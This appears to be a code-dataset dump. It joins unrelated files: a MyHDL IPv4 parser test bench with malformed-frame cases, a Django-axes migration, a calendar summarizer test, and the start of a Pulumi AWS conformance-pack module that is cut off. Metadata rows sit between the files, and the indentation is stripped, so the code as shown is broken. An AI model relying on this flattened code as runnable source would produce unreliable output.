test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame2.eth_src_mac = 0x5A5152535455
test_frame2.eth_type = 0x0800
test_frame2.ip_version = 4
test_frame2.ip_ihl = 5
test_frame2.ip_length = None
test_frame2.ip_identification = 0
test_frame2.ip_flags = 2
test_frame2.ip_fragment_offset = 0
test_frame2.ip_ttl = 64
test_frame2.ip_protocol = 0x11
test_frame2.ip_header_checksum = None
test_frame2.ip_source_ip = 0xc0a80164
test_frame2.ip_dest_ip = 0xc0a80166
test_frame2.payload = bytearray(range(payload_len))
test_frame2.build()
eth_frame1 = test_frame1.build_eth()
eth_frame2 = test_frame2.build_eth()
eth_frame1.payload.user = 1
for wait in wait_normal, wait_pause_source, wait_pause_sink:
source.send(eth_frame1)
source.send(eth_frame2)
yield clk.posedge
yield clk.posedge
yield wait()
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert rx_frame == test_frame1
assert rx_frame.payload.user[-1]
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert rx_frame == test_frame2
assert sink.empty()
yield delay(100)
yield clk.posedge
print("test 4: trailing bytes (1), length %d" % payload_len)
current_test.next = 4
test_frame1 = ip_ep.IPFrame()
test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame1.eth_src_mac = 0x5A5152535455
test_frame1.eth_type = 0x0800
test_frame1.ip_version = 4
test_frame1.ip_ihl = 5
test_frame1.ip_length = None
test_frame1.ip_identification = 0
test_frame1.ip_flags = 2
test_frame1.ip_fragment_offset = 0
test_frame1.ip_ttl = 64
test_frame1.ip_protocol = 0x11
test_frame1.ip_header_checksum = None
test_frame1.ip_source_ip = 0xc0a80164
test_frame1.ip_dest_ip = 0xc0a80165
test_frame1.payload = bytearray(range(payload_len))
test_frame1.build()
test_frame2 = ip_ep.IPFrame()
test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame2.eth_src_mac = 0x5A5152535455
test_frame2.eth_type = 0x0800
test_frame2.ip_version = 4
test_frame2.ip_ihl = 5
test_frame2.ip_length = None
test_frame2.ip_identification = 0
test_frame2.ip_flags = 2
test_frame2.ip_fragment_offset = 0
test_frame2.ip_ttl = 64
test_frame2.ip_protocol = 0x11
test_frame2.ip_header_checksum = None
test_frame2.ip_source_ip = 0xc0a80164
test_frame2.ip_dest_ip = 0xc0a80166
test_frame2.payload = bytearray(range(payload_len))
test_frame2.build()
eth_frame1 = test_frame1.build_eth()
eth_frame2 = test_frame2.build_eth()
eth_frame1.payload.data += bytearray(b'\x00')
for wait in wait_normal, wait_pause_source, wait_pause_sink:
source.send(eth_frame1)
source.send(eth_frame2)
yield clk.posedge
yield clk.posedge
yield wait()
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert rx_frame == test_frame1
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert rx_frame == test_frame2
assert sink.empty()
yield delay(100)
yield clk.posedge
print("test 5: trailing bytes (10), length %d" % payload_len)
current_test.next = 5
test_frame1 = ip_ep.IPFrame()
test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame1.eth_src_mac = 0x5A5152535455
test_frame1.eth_type = 0x0800
test_frame1.ip_version = 4
test_frame1.ip_ihl = 5
test_frame1.ip_length = None
test_frame1.ip_identification = 0
test_frame1.ip_flags = 2
test_frame1.ip_fragment_offset = 0
test_frame1.ip_ttl = 64
test_frame1.ip_protocol = 0x11
test_frame1.ip_header_checksum = None
test_frame1.ip_source_ip = 0xc0a80164
test_frame1.ip_dest_ip = 0xc0a80165
test_frame1.payload = bytearray(range(payload_len))
test_frame1.build()
test_frame2 = ip_ep.IPFrame()
test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame2.eth_src_mac = 0x5A5152535455
test_frame2.eth_type = 0x0800
test_frame2.ip_version = 4
test_frame2.ip_ihl = 5
test_frame2.ip_length = None
test_frame2.ip_identification = 0
test_frame2.ip_flags = 2
test_frame2.ip_fragment_offset = 0
test_frame2.ip_ttl = 64
test_frame2.ip_protocol = 0x11
test_frame2.ip_header_checksum = None
test_frame2.ip_source_ip = 0xc0a80164
test_frame2.ip_dest_ip = 0xc0a80166
test_frame2.payload = bytearray(range(payload_len))
test_frame2.build()
eth_frame1 = test_frame1.build_eth()
eth_frame2 = test_frame2.build_eth()
eth_frame1.payload.data += bytearray(b'\x00'*10)
for wait in wait_normal, wait_pause_source, wait_pause_sink:
source.send(eth_frame1)
source.send(eth_frame2)
yield clk.posedge
yield clk.posedge
yield wait()
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert rx_frame == test_frame1
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert rx_frame == test_frame2
assert sink.empty()
yield delay(100)
yield clk.posedge
print("test 6: trailing bytes with tuser assert (1), length %d" % payload_len)
current_test.next = 6
test_frame1 = ip_ep.IPFrame()
test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame1.eth_src_mac = 0x5A5152535455
test_frame1.eth_type = 0x0800
test_frame1.ip_version = 4
test_frame1.ip_ihl = 5
test_frame1.ip_length = None
test_frame1.ip_identification = 0
test_frame1.ip_flags = 2
test_frame1.ip_fragment_offset = 0
test_frame1.ip_ttl = 64
test_frame1.ip_protocol = 0x11
test_frame1.ip_header_checksum = None
test_frame1.ip_source_ip = 0xc0a80164
test_frame1.ip_dest_ip = 0xc0a80165
test_frame1.payload = bytearray(range(payload_len))
test_frame1.build()
test_frame2 = ip_ep.IPFrame()
test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame2.eth_src_mac = 0x5A5152535455
test_frame2.eth_type = 0x0800
test_frame2.ip_version = 4
test_frame2.ip_ihl = 5
test_frame2.ip_length = None
test_frame2.ip_identification = 0
test_frame2.ip_flags = 2
test_frame2.ip_fragment_offset = 0
test_frame2.ip_ttl = 64
test_frame2.ip_protocol = 0x11
test_frame2.ip_header_checksum = None
test_frame2.ip_source_ip = 0xc0a80164
test_frame2.ip_dest_ip = 0xc0a80166
test_frame2.payload = bytearray(range(payload_len))
test_frame2.build()
eth_frame1 = test_frame1.build_eth()
eth_frame2 = test_frame2.build_eth()
eth_frame1.payload.data += bytearray(b'\x00')
eth_frame1.payload.user = 1
for wait in wait_normal, wait_pause_source, wait_pause_sink:
source.send(eth_frame1)
source.send(eth_frame2)
yield clk.posedge
yield clk.posedge
yield wait()
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert rx_frame == test_frame1
assert rx_frame.payload.user[-1]
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert rx_frame == test_frame2
assert sink.empty()
yield delay(100)
yield clk.posedge
print("test 7: trailing bytes with tuser assert (10), length %d" % payload_len)
current_test.next = 7
test_frame1 = ip_ep.IPFrame()
test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame1.eth_src_mac = 0x5A5152535455
test_frame1.eth_type = 0x0800
test_frame1.ip_version = 4
test_frame1.ip_ihl = 5
test_frame1.ip_length = None
test_frame1.ip_identification = 0
test_frame1.ip_flags = 2
test_frame1.ip_fragment_offset = 0
test_frame1.ip_ttl = 64
test_frame1.ip_protocol = 0x11
test_frame1.ip_header_checksum = None
test_frame1.ip_source_ip = 0xc0a80164
test_frame1.ip_dest_ip = 0xc0a80165
test_frame1.payload = bytearray(range(payload_len))
test_frame1.build()
test_frame2 = ip_ep.IPFrame()
test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame2.eth_src_mac = 0x5A5152535455
test_frame2.eth_type = 0x0800
test_frame2.ip_version = 4
test_frame2.ip_ihl = 5
test_frame2.ip_length = None
test_frame2.ip_identification = 0
test_frame2.ip_flags = 2
test_frame2.ip_fragment_offset = 0
test_frame2.ip_ttl = 64
test_frame2.ip_protocol = 0x11
test_frame2.ip_header_checksum = None
test_frame2.ip_source_ip = 0xc0a80164
test_frame2.ip_dest_ip = 0xc0a80166
test_frame2.payload = bytearray(range(payload_len))
test_frame2.build()
eth_frame1 = test_frame1.build_eth()
eth_frame2 = test_frame2.build_eth()
eth_frame1.payload.data += bytearray(b'\x00'*10)
eth_frame1.payload.user = 1
for wait in wait_normal, wait_pause_source, wait_pause_sink:
source.send(eth_frame1)
source.send(eth_frame2)
yield clk.posedge
yield clk.posedge
yield wait()
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert rx_frame == test_frame1
assert rx_frame.payload.user[-1]
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert rx_frame == test_frame2
assert sink.empty()
yield delay(100)
yield clk.posedge
print("test 8: truncated payload (1), length %d" % payload_len)
current_test.next = 8
test_frame1 = ip_ep.IPFrame()
test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame1.eth_src_mac = 0x5A5152535455
test_frame1.eth_type = 0x0800
test_frame1.ip_version = 4
test_frame1.ip_ihl = 5
test_frame1.ip_length = None
test_frame1.ip_identification = 0
test_frame1.ip_flags = 2
test_frame1.ip_fragment_offset = 0
test_frame1.ip_ttl = 64
test_frame1.ip_protocol = 0x11
test_frame1.ip_header_checksum = None
test_frame1.ip_source_ip = 0xc0a80164
test_frame1.ip_dest_ip = 0xc0a80165
test_frame1.payload = bytearray(range(payload_len+1))
test_frame1.build()
test_frame2 = ip_ep.IPFrame()
test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame2.eth_src_mac = 0x5A5152535455
test_frame2.eth_type = 0x0800
test_frame2.ip_version = 4
test_frame2.ip_ihl = 5
test_frame2.ip_length = None
test_frame2.ip_identification = 0
test_frame2.ip_flags = 2
test_frame2.ip_fragment_offset = 0
test_frame2.ip_ttl = 64
test_frame2.ip_protocol = 0x11
test_frame2.ip_header_checksum = None
test_frame2.ip_source_ip = 0xc0a80164
test_frame2.ip_dest_ip = 0xc0a80166
test_frame2.payload = bytearray(range(payload_len))
test_frame2.build()
eth_frame1 = test_frame1.build_eth()
eth_frame2 = test_frame2.build_eth()
eth_frame1.payload.data = eth_frame1.payload.data[:-1]
for wait in wait_normal, wait_pause_source, wait_pause_sink:
error_payload_early_termination_asserted.next = 0
source.send(eth_frame1)
source.send(eth_frame2)
yield clk.posedge
yield clk.posedge
yield wait()
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert rx_frame.payload.user[-1]
assert error_payload_early_termination_asserted
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert rx_frame == test_frame2
assert sink.empty()
yield delay(100)
yield clk.posedge
print("test 9: truncated payload (10), length %d" % payload_len)
current_test.next = 9
test_frame1 = ip_ep.IPFrame()
test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame1.eth_src_mac = 0x5A5152535455
test_frame1.eth_type = 0x0800
test_frame1.ip_version = 4
test_frame1.ip_ihl = 5
test_frame1.ip_length = None
test_frame1.ip_identification = 0
test_frame1.ip_flags = 2
test_frame1.ip_fragment_offset = 0
test_frame1.ip_ttl = 64
test_frame1.ip_protocol = 0x11
test_frame1.ip_header_checksum = None
test_frame1.ip_source_ip = 0xc0a80164
test_frame1.ip_dest_ip = 0xc0a80165
test_frame1.payload = bytearray(range(payload_len+10))
test_frame1.build()
test_frame2 = ip_ep.IPFrame()
test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame2.eth_src_mac = 0x5A5152535455
test_frame2.eth_type = 0x0800
test_frame2.ip_version = 4
test_frame2.ip_ihl = 5
test_frame2.ip_length = None
test_frame2.ip_identification = 0
test_frame2.ip_flags = 2
test_frame2.ip_fragment_offset = 0
test_frame2.ip_ttl = 64
test_frame2.ip_protocol = 0x11
test_frame2.ip_header_checksum = None
test_frame2.ip_source_ip = 0xc0a80164
test_frame2.ip_dest_ip = 0xc0a80166
test_frame2.payload = bytearray(range(payload_len))
test_frame2.build()
eth_frame1 = test_frame1.build_eth()
eth_frame2 = test_frame2.build_eth()
eth_frame1.payload.data = eth_frame1.payload.data[:-10]
for wait in wait_normal, wait_pause_source, wait_pause_sink:
error_payload_early_termination_asserted.next = 0
source.send(eth_frame1)
source.send(eth_frame2)
yield clk.posedge
yield clk.posedge
yield wait()
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert rx_frame.payload.user[-1]
assert error_payload_early_termination_asserted
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert rx_frame == test_frame2
assert sink.empty()
yield delay(100)
yield clk.posedge
print("test 10: bad IHL, length %d" % payload_len)
current_test.next = 10
test_frame1 = ip_ep.IPFrame()
test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame1.eth_src_mac = 0x5A5152535455
test_frame1.eth_type = 0x0800
test_frame1.ip_version = 4
test_frame1.ip_ihl = 6
test_frame1.ip_length = None
test_frame1.ip_identification = 0
test_frame1.ip_flags = 2
test_frame1.ip_fragment_offset = 0
test_frame1.ip_ttl = 64
test_frame1.ip_protocol = 0x11
test_frame1.ip_header_checksum = None
test_frame1.ip_source_ip = 0xc0a80164
test_frame1.ip_dest_ip = 0xc0a80165
test_frame1.payload = bytearray(range(payload_len))
test_frame1.build()
test_frame2 = ip_ep.IPFrame()
test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame2.eth_src_mac = 0x5A5152535455
test_frame2.eth_type = 0x0800
test_frame2.ip_version = 4
test_frame2.ip_ihl = 5
test_frame2.ip_length = None
test_frame2.ip_identification = 0
test_frame2.ip_flags = 2
test_frame2.ip_fragment_offset = 0
test_frame2.ip_ttl = 64
test_frame2.ip_protocol = 0x11
test_frame2.ip_header_checksum = None
test_frame2.ip_source_ip = 0xc0a80164
test_frame2.ip_dest_ip = 0xc0a80166
test_frame2.payload = bytearray(range(payload_len))
test_frame2.build()
eth_frame1 = test_frame1.build_eth()
eth_frame2 = test_frame2.build_eth()
for wait in wait_normal, wait_pause_source, wait_pause_sink:
error_invalid_header_asserted.next = 0
source.send(eth_frame1)
source.send(eth_frame2)
yield clk.posedge
yield clk.posedge
yield wait()
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert error_invalid_header_asserted
assert rx_frame == test_frame2
assert sink.empty()
yield delay(100)
yield clk.posedge
print("test 11: bad checksum, length %d" % payload_len)
current_test.next = 11
test_frame1 = ip_ep.IPFrame()
test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame1.eth_src_mac = 0x5A5152535455
test_frame1.eth_type = 0x0800
test_frame1.ip_version = 4
test_frame1.ip_ihl = 5
test_frame1.ip_length = None
test_frame1.ip_identification = 0
test_frame1.ip_flags = 2
test_frame1.ip_fragment_offset = 0
test_frame1.ip_ttl = 64
test_frame1.ip_protocol = 0x11
test_frame1.ip_header_checksum = 0x1234
test_frame1.ip_source_ip = 0xc0a80164
test_frame1.ip_dest_ip = 0xc0a80165
test_frame1.payload = bytearray(range(payload_len))
test_frame1.build()
test_frame2 = ip_ep.IPFrame()
test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame2.eth_src_mac = 0x5A5152535455
test_frame2.eth_type = 0x0800
test_frame2.ip_version = 4
test_frame2.ip_ihl = 5
test_frame2.ip_length = None
test_frame2.ip_identification = 0
test_frame2.ip_flags = 2
test_frame2.ip_fragment_offset = 0
test_frame2.ip_ttl = 64
test_frame2.ip_protocol = 0x11
test_frame2.ip_header_checksum = None
test_frame2.ip_source_ip = 0xc0a80164
test_frame2.ip_dest_ip = 0xc0a80166
test_frame2.payload = bytearray(range(payload_len))
test_frame2.build()
eth_frame1 = test_frame1.build_eth()
eth_frame2 = test_frame2.build_eth()
for wait in wait_normal, wait_pause_source, wait_pause_sink:
error_invalid_checksum_asserted.next = 0
source.send(eth_frame1)
source.send(eth_frame2)
yield clk.posedge
yield clk.posedge
yield wait()
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert error_invalid_checksum_asserted
assert rx_frame == test_frame2
assert sink.empty()
yield delay(100)
for length in range(1,21):
yield clk.posedge
print("test 12: truncated header, length %d" % length)
current_test.next = 12
test_frame1 = ip_ep.IPFrame()
test_frame1.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame1.eth_src_mac = 0x5A5152535455
test_frame1.eth_type = 0x0800
test_frame1.ip_version = 4
test_frame1.ip_ihl = 5
test_frame1.ip_length = None
test_frame1.ip_identification = 0
test_frame1.ip_flags = 2
test_frame1.ip_fragment_offset = 0
test_frame1.ip_ttl = 64
test_frame1.ip_protocol = 0x11
test_frame1.ip_header_checksum = None
test_frame1.ip_source_ip = 0xc0a80164
test_frame1.ip_dest_ip = 0xc0a80165
test_frame1.payload = bytearray(range(16))
test_frame1.build()
test_frame2 = ip_ep.IPFrame()
test_frame2.eth_dest_mac = 0xDAD1D2D3D4D5
test_frame2.eth_src_mac = 0x5A5152535455
test_frame2.eth_type = 0x0800
test_frame2.ip_version = 4
test_frame2.ip_ihl = 5
test_frame2.ip_length = None
test_frame2.ip_identification = 0
test_frame2.ip_flags = 2
test_frame2.ip_fragment_offset = 0
test_frame2.ip_ttl = 64
test_frame2.ip_protocol = 0x11
test_frame2.ip_header_checksum = None
test_frame2.ip_source_ip = 0xc0a80164
test_frame2.ip_dest_ip = 0xc0a80166
test_frame2.payload = bytearray(range(16))
test_frame2.build()
eth_frame1 = test_frame1.build_eth()
eth_frame2 = test_frame2.build_eth()
eth_frame1.payload.data = eth_frame1.payload.data[:length]
for wait in wait_normal, wait_pause_source, wait_pause_sink:
error_header_early_termination_asserted.next = 0
source.send(eth_frame1)
source.send(eth_frame2)
yield clk.posedge
yield clk.posedge
yield wait()
yield clk.posedge
yield sink.wait()
rx_frame = sink.recv()
assert error_header_early_termination_asserted
assert rx_frame == test_frame2
assert sink.empty()
yield delay(100)
raise StopSimulation
return instances()
def test_bench():
sim = Simulation(bench())
sim.run()
if __name__ == '__main__':
print("Running test...")
test_bench()
| 35.560907 | 91 | 0.603415 | 4,689 | 37,659 | 4.461292 | 0.055449 | 0.099909 | 0.075721 | 0.046847 | 0.87834 | 0.841818 | 0.787418 | 0.725369 | 0.705244 | 0.684832 | 0 | 0.070855 | 0.331793 | 37,659 | 1,058 | 92 | 35.594518 | 0.760451 | 0.029714 | 0 | 0.712121 | 0 | 0 | 0.016947 | 0 | 0 | 0 | 0.036687 | 0 | 0.065268 | 1 | 0.009324 | false | 0 | 0.004662 | 0 | 0.015152 | 0.015152 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
62bc371ceb746060ec761c252168f70735d3f4af | 1,723 | py | Python | axes/migrations/0002_auto_20151217_2044.py | AMDINDOWS/django-axes | 9b73fc39d85057505782cec40ae46a7eff6f2949 | [
"MIT"
] | 831 | 2016-07-28T08:57:31.000Z | 2022-03-28T20:52:22.000Z | axes/migrations/0002_auto_20151217_2044.py | AMDINDOWS/django-axes | 9b73fc39d85057505782cec40ae46a7eff6f2949 | [
"MIT"
] | 620 | 2016-07-27T21:57:42.000Z | 2022-03-29T12:11:48.000Z | axes/migrations/0002_auto_20151217_2044.py | AMDINDOWS/django-axes | 9b73fc39d85057505782cec40ae46a7eff6f2949 | [
"MIT"
] | 219 | 2016-08-05T15:55:31.000Z | 2022-03-25T04:03:13.000Z | from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [("axes", "0001_initial")]
operations = [
migrations.AlterField(
model_name="accessattempt",
name="ip_address",
field=models.GenericIPAddressField(
db_index=True, null=True, verbose_name="IP Address"
),
),
migrations.AlterField(
model_name="accessattempt",
name="trusted",
field=models.BooleanField(db_index=True, default=False),
),
migrations.AlterField(
model_name="accessattempt",
name="user_agent",
field=models.CharField(db_index=True, max_length=255),
),
migrations.AlterField(
model_name="accessattempt",
name="username",
field=models.CharField(db_index=True, max_length=255, null=True),
),
migrations.AlterField(
model_name="accesslog",
name="ip_address",
field=models.GenericIPAddressField(
db_index=True, null=True, verbose_name="IP Address"
),
),
migrations.AlterField(
model_name="accesslog",
name="trusted",
field=models.BooleanField(db_index=True, default=False),
),
migrations.AlterField(
model_name="accesslog",
name="user_agent",
field=models.CharField(db_index=True, max_length=255),
),
migrations.AlterField(
model_name="accesslog",
name="username",
field=models.CharField(db_index=True, max_length=255, null=True),
),
]
| 31.907407 | 77 | 0.563552 | 155 | 1,723 | 6.090323 | 0.23871 | 0.169492 | 0.211864 | 0.245763 | 0.889831 | 0.889831 | 0.735169 | 0.735169 | 0.735169 | 0.735169 | 0 | 0.013769 | 0.325595 | 1,723 | 53 | 78 | 32.509434 | 0.798623 | 0 | 0 | 0.897959 | 0 | 0 | 0.112594 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.020408 | 0 | 0.081633 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
62e277e6e8be1dc29bec83ab54a7aded5e60861a | 1,888 | py | Python | tests/summarize_schedules/test_calendar_summarizer.py | yoppinews/yoppinews-schedule-bot | c824fc490b75d037d132615ebe6bedab363290a3 | [
"MIT"
] | null | null | null | tests/summarize_schedules/test_calendar_summarizer.py | yoppinews/yoppinews-schedule-bot | c824fc490b75d037d132615ebe6bedab363290a3 | [
"MIT"
] | 1 | 2019-06-30T14:45:48.000Z | 2019-07-01T15:46:34.000Z | tests/summarize_schedules/test_calendar_summarizer.py | yoppinews/yoppinews-schedule-bot | c824fc490b75d037d132615ebe6bedab363290a3 | [
"MIT"
] | 1 | 2019-06-29T14:19:35.000Z | 2019-06-29T14:19:35.000Z | import logging
import datetime
from src.summarize_schedules.calendar_summarizer import GoogleCalendarSummarizer
def test_grouping():
s = GoogleCalendarSummarizer({}, datetime.timezone(datetime.timedelta(hours=0)), logging.Logger(name='hoge'))
events = [
{
'kind': 'calendar#event',
'etag': '"012345"',
'id': '012345',
'status': 'confirmed',
'htmlLink': 'https://www.google.com/calendar/event?eid=',
'created': '2019-06-17T08:29:15.000Z',
'updated': '2019-06-24T14:51:11.964Z',
'summary': 'summary00:123456789:123456789:123456789:123456789:123456789:123456789:123456789:123456789:',
'description': 'description',
'start': {
'dateTime': '2019-06-25T12:30:00+09:00'
},
'end': {
'dateTime': '2019-06-25T13:30:00+09:00'
},
},
{
'kind': 'calendar#event',
'etag': '"012345"',
'id': '012345',
'status': 'confirmed',
'htmlLink': 'https://www.google.com/calendar/event?eid=',
'created': '2019-06-17T08:29:15.000Z',
'updated': '2019-06-24T14:51:11.964Z',
'summary': 'summary00:123456789:123456789:123456789:123456789:123456789:123456789:123456789:123456789:',
'description': 'description',
'start': {
'dateTime': '2019-06-25T12:30:00+09:00'
},
'end': {
'dateTime': '2019-06-25T13:30:00+09:00'
},
},
]
res = s._grouping(events, '${summarized_items}')
assert len(res) == 2
for i in res:
assert len(i) == 1
assert i[0] == '03:30 summary00:123456789:123456789:123456789:' \
'123456789:123456789:123456789:123456789:123456789:'
| 35.622642 | 116 | 0.529661 | 182 | 1,888 | 5.467033 | 0.379121 | 0.3799 | 0.488442 | 0.542714 | 0.714573 | 0.714573 | 0.714573 | 0.714573 | 0.714573 | 0.633166 | 0 | 0.300763 | 0.306144 | 1,888 | 52 | 117 | 36.307692 | 0.458779 | 0 | 0 | 0.553191 | 0 | 0 | 0.442736 | 0.247084 | 0 | 0 | 0 | 0 | 0.06383 | 1 | 0.021277 | false | 0 | 0.06383 | 0 | 0.085106 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
62fbbd54f8228c0a1f5da71596b1c0107b4fdf1b | 34,775 | py | Python | sdk/python/pulumi_aws/cfg/organization_conformance_pack.py | wgarcia79/pulumi-aws | c63c224734f1d72ba84986a33f36413c9f9cbe27 | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2021-11-10T16:33:40.000Z | 2021-11-10T16:33:40.000Z | sdk/python/pulumi_aws/cfg/organization_conformance_pack.py | wgarcia79/pulumi-aws | c63c224734f1d72ba84986a33f36413c9f9cbe27 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_aws/cfg/organization_conformance_pack.py | wgarcia79/pulumi-aws | c63c224734f1d72ba84986a33f36413c9f9cbe27 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from . import outputs
from ._inputs import *
__all__ = ['OrganizationConformancePackArgs', 'OrganizationConformancePack']
@pulumi.input_type
class OrganizationConformancePackArgs:
def __init__(__self__, *,
delivery_s3_bucket: Optional[pulumi.Input[str]] = None,
delivery_s3_key_prefix: Optional[pulumi.Input[str]] = None,
excluded_accounts: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
input_parameters: Optional[pulumi.Input[Sequence[pulumi.Input['OrganizationConformancePackInputParameterArgs']]]] = None,
name: Optional[pulumi.Input[str]] = None,
template_body: Optional[pulumi.Input[str]] = None,
template_s3_uri: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a OrganizationConformancePack resource.
:param pulumi.Input[str] delivery_s3_bucket: Amazon S3 bucket where AWS Config stores conformance pack templates. Delivery bucket must begin with `awsconfigconforms` prefix. Maximum length of 63.
:param pulumi.Input[str] delivery_s3_key_prefix: The prefix for the Amazon S3 bucket. Maximum length of 1024.
:param pulumi.Input[Sequence[pulumi.Input[str]]] excluded_accounts: Set of AWS accounts to be excluded from an organization conformance pack while deploying a conformance pack. Maximum of 1000 accounts.
:param pulumi.Input[Sequence[pulumi.Input['OrganizationConformancePackInputParameterArgs']]] input_parameters: Set of configuration blocks describing input parameters passed to the conformance pack template. Documented below. When configured, the parameters must also be included in the `template_body` or in the template stored in Amazon S3 if using `template_s3_uri`.
:param pulumi.Input[str] name: The name of the organization conformance pack. Must begin with a letter and contain from 1 to 128 alphanumeric characters and hyphens.
:param pulumi.Input[str] template_body: A string containing full conformance pack template body. Maximum length of 51200. Drift detection is not possible with this argument.
:param pulumi.Input[str] template_s3_uri: Location of file, e.g., `s3://bucketname/prefix`, containing the template body. The uri must point to the conformance pack template that is located in an Amazon S3 bucket in the same region as the conformance pack. Maximum length of 1024. Drift detection is not possible with this argument.
"""
if delivery_s3_bucket is not None:
pulumi.set(__self__, "delivery_s3_bucket", delivery_s3_bucket)
if delivery_s3_key_prefix is not None:
pulumi.set(__self__, "delivery_s3_key_prefix", delivery_s3_key_prefix)
if excluded_accounts is not None:
pulumi.set(__self__, "excluded_accounts", excluded_accounts)
if input_parameters is not None:
pulumi.set(__self__, "input_parameters", input_parameters)
if name is not None:
pulumi.set(__self__, "name", name)
if template_body is not None:
pulumi.set(__self__, "template_body", template_body)
if template_s3_uri is not None:
pulumi.set(__self__, "template_s3_uri", template_s3_uri)
@property
@pulumi.getter(name="deliveryS3Bucket")
def delivery_s3_bucket(self) -> Optional[pulumi.Input[str]]:
"""
Amazon S3 bucket where AWS Config stores conformance pack templates. Delivery bucket must begin with `awsconfigconforms` prefix. Maximum length of 63.
"""
return pulumi.get(self, "delivery_s3_bucket")
@delivery_s3_bucket.setter
def delivery_s3_bucket(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "delivery_s3_bucket", value)
@property
@pulumi.getter(name="deliveryS3KeyPrefix")
def delivery_s3_key_prefix(self) -> Optional[pulumi.Input[str]]:
"""
The prefix for the Amazon S3 bucket. Maximum length of 1024.
"""
return pulumi.get(self, "delivery_s3_key_prefix")
@delivery_s3_key_prefix.setter
def delivery_s3_key_prefix(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "delivery_s3_key_prefix", value)
@property
@pulumi.getter(name="excludedAccounts")
def excluded_accounts(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Set of AWS accounts to be excluded from an organization conformance pack while deploying a conformance pack. Maximum of 1000 accounts.
"""
return pulumi.get(self, "excluded_accounts")
@excluded_accounts.setter
def excluded_accounts(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "excluded_accounts", value)
@property
@pulumi.getter(name="inputParameters")
def input_parameters(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['OrganizationConformancePackInputParameterArgs']]]]:
"""
Set of configuration blocks describing input parameters passed to the conformance pack template. Documented below. When configured, the parameters must also be included in the `template_body` or in the template stored in Amazon S3 if using `template_s3_uri`.
"""
return pulumi.get(self, "input_parameters")
@input_parameters.setter
def input_parameters(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['OrganizationConformancePackInputParameterArgs']]]]):
pulumi.set(self, "input_parameters", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
The name of the organization conformance pack. Must begin with a letter and contain from 1 to 128 alphanumeric characters and hyphens.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter(name="templateBody")
def template_body(self) -> Optional[pulumi.Input[str]]:
"""
